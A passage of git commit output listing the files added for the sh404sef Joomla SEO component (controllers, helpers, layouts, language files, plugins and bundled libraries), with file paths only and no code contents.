deployed/sh404sef/administrator/components/com_sh404sef/controllers/urls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/controllers/wizard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/custom.sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/defines.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/exceptions/default.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/exceptions/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/analytics.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/autoloader.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/cache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/categories.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/extplugins.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/files.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/general.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/language.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/security.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/shurl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/updates.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/url.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/helpers/view.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/config.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/cut-logs.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/cut-redirect.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/cut-url.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/down.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/help.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/info.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/logs.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/redirect.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/sh404SEF-logo-big.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/sh404SEF-logo.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/up.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/images/url.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/install.mysql.utf8.sql create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/installation.script.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/en.postinstall.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/en.readme.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/fr.postinstall.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/fr.readme.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_chronocontact.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_comprofiler.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_content.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_docman.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_hotproperty.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_kunena.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_letterman.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_magazine.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_mtree.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_myblog.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_newsfeeds.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_poll.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rd_rss.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_registration.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_remository.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rsgallery2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_search.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_sobi2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_users.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_virtuemart.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_weblinks.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_controlpanel_full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_dashboard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_controlpanel_full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_dashboard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_ga.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_gtm.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_uga.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/default.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/legend.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/rules.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag_sticky.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_sticky.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/limit_box.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_all.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_shurl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/custom.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/message_block.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/need_full_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/need_full_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/refresh_parent.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/warning.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/css.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like-html5.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send-html5.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb_sdk.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googleplusone.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_large.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_medium.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_small.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/linkedin.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/pinterest.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/twitter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/wrapper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu_layout.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/submenu.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/layouts/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/database.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/extension.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/factory.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/tables/acesefextensions.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/tables/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/uri.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/utility.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/config.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/joomsef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/sef.ext.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/seftools.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/tables/extension.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/tables/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Cache/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Fonts/arial.ttf create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Fonts/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pCache.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pChart.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pData.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-1-hard-tones.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-2-green-soft.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-3-blue-soft.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-4-orange-soft.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-5-goldfish.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-6-desert.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/palettes/tones-7-tropical.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/LICENSE.txt create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/current-32.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/fail-24.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/liveupdate-48.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/liveupdate.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/nosupport-32.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/ok-24.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/update-32.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/assets/warn-24.png create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/abstractconfig.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/controller.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/download.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/inihelper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/model.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/component.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/file.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/storage.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/install.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/nagscreen.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/overview.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/startupdate.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/updatefetch.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/view.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/xmlslurp.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/config.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bg-BG/bg-BG.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bs-BA/bs-BA.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/cs-CZ/cs-CZ.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/da-DK/da-DK.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/de-DE/de-DE.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/el-GR/el-GR.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/en-GB/en-GB.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/es-ES/es-ES.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/et-EE/et-EE.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fa-IR/fa-IR.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fi-FI/fi-FI.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/fr-FR/fr-FR.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/hu-HU/hu-HU.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/it-IT/it-IT.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/lt-LT/lt-LT.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nb-NO/nb-NO.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nl-NL/nl-NL.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pl-PL/pl-PL.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-BR/pt-BR.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-PT/pt-PT.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/ru-RU/ru-RU.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sk-SK/sk-SK.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sl-SI/sl-SI.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sv-SE/sv-SE.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/tr-TR/tr-TR.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/uk-UA/uk-UA.liveupdate.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/liveupdate.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/aliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/duplicates.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/editalias.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/editnotfound.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/editurl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/fields/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlegend.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlibpluginlink.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/fields/shlist.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/metas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/notfound.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/pageids.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/pageids.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/sefurls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/slugs.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/models/urls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/styles.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/pagination.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/pagination_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/pagination_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/changelog.log create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/installation.script.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.sys.ini create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/bs.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modal.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modalfix.css create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/js/bs.js create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/js/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Interface.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Proxy.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Test.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php create mode 100644 